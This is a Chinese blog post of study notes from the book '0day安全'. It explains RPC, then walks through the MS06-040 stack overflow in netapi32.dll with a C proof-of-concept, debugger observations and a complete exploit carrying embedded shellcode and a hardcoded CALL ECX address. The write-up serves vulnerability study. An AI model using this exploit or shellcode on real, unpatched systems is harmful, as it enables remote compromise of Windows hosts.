《0day安全》 RPC 入侵:MS06-040 與 MS08-067

sag3r發表於2020-10-14

RPC 簡介

在分散式計算,遠端過程呼叫(英語:Remote Procedure Call,縮寫為 RPC)是一個計算機通訊協議。
該協議允許執行於一臺計算機的程式呼叫另一個地址空間(通常為一個開放網路的一臺計算機)的子程式,而程式設計師就像呼叫本地程式一樣,無需額外地為這個互動作用程式設計(無需關注細節)。
RPC是一種伺服器-客戶端(Client/Server)模式,經典實現是一個通過傳送請求-接受回應進行資訊互動的系統。

如果涉及的軟體採用物件導向程式設計,那麼遠端過程呼叫亦可稱作遠端呼叫或遠端方法呼叫,例:Java RMI。

RPC是一種程式間通訊的模式,程式分佈在不同的地址空間裡。如果在同一主機裡,RPC可以通過不同的虛擬地址空間(即便使用相同的實體地址)進行通訊,而在不同的主機間,則通過不同的實體地址進行互動。許多技術(常常是不相容)都是基於這種概念而實現的。

使用 RPC 呼叫時首先應當定義遠端程式的介面 IDL 檔案。IDL(Interface Description Language)是專門用來定義介面的語言,在這個檔案裡我們要指定 RPC 的介面資訊以及 interface 下的 function 資訊,包括函式的宣告,引數等等。
微軟的 IDL 叫做 MIDL,是相容 IDL 標準的。定義好的 IDL 檔案介面經過微軟的 MIDL 編譯器編譯後會生成 3 個檔案,一個客戶端 stub(有些文獻把 stub 翻譯成“插樁”或“碼樁”),一個服務端 stub,還有一個 RPC 呼叫的標頭檔案。其中 stub 負責 RPC 呼叫過程中所有的網路操作細節。

流程
客戶端呼叫客戶端stub(client stub)。這個呼叫是在本地,並將呼叫引數push到棧(stack)中。
客戶端stub(client stub)將這些引數包裝,並通過系統呼叫傳送到服務端機器。打包的過程叫 marshalling。(常見方式:XML、JSON、二進位制編碼)
客戶端本地作業系統傳送資訊至伺服器。(可通過自定義TCP協議或HTTP傳輸)
伺服器系統將資訊傳送至服務端stub(server stub)。
服務端stub(server stub)解析資訊。該過程叫 unmarshalling。
服務端stub(server stub)呼叫程式,並通過類似的方式返回給客戶端。

在這裡插入圖片描述
在這裡插入圖片描述

MS06-040

幾乎所有使用 socket 網路的程式都會載入 netapi32.dll。
MS06-040 指的就是這個動 態 鏈 接 庫 中 的 導 出 函 數NetpwPathCanonicalize() 中 存 在 的 緩 衝 溢 出 缺 陷 , 而NetpwPathCanonicalize()函式又可以被 RPC 遠端呼叫

NetpwPathCanonicalize()是 netapi32.dll 的一個匯出函式,
用於格式化網路路徑字串,它的原型如下:

int NetpwPathCanonicalize (
uint16  path[ ], // [in]  path name
uint8  can_path[ ],  // [out]  canonicalized path
uint32  maxbuf, //  [in]  max size of can_path
uint16  prefix[ ],  //  [in]  path prefix
uint32*  pathtype, //  [in out] path type
uint32  pathflags //  [in]  path flags, 0 or 1
);

這是一個 Unicode 字串處理函式,大體功能是:如果 prefix 串非空,將 prefix 串與 path串用‘\’相連,並複製到輸出串 can_path 中,輸出串的容量為 maxbuf 位元組大小:

prefix + ‘\’ + path => can_path [max_buf]

POC

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{ 
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}

執行
在這裡插入圖片描述
直接跑飛
在這裡插入圖片描述
可以用lordpe 查出 NetpwPathCanonicalize 載入後的 VA 地址
在這裡插入圖片描述
在這裡插入圖片描述
當執行過 LoadLibrary 之後,直接按“Ctrl+G”去 0x7517F7E2 處,下斷,執行
在這裡插入圖片描述

又在這遇到崩潰,走進去
在這裡插入圖片描述
prefix都已複製到棧上
在這裡插入圖片描述
path在棧中連上了prefix
在這裡插入圖片描述
ECX 在函式返回時總是指向棧中緩衝區,因此我們可以把 shellcode 放在 prefix 串中,並採用JMP ECX 作為定位 shellcode 的跳板
在這裡插入圖片描述
exp

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{ 
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44; 
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll"; // care for the path
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'a',sizeof(prefix)-2);
memcpy(prefix,shellcode,168);
path[0x318]=0xF9;// address of CALL ECX
path[0x319]=0x52;
path[0x31A]=0x18;
path[0x31B]=0x75;
(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
FreeLibrary(LibHandle);
}

在這裡插入圖片描述

相關文章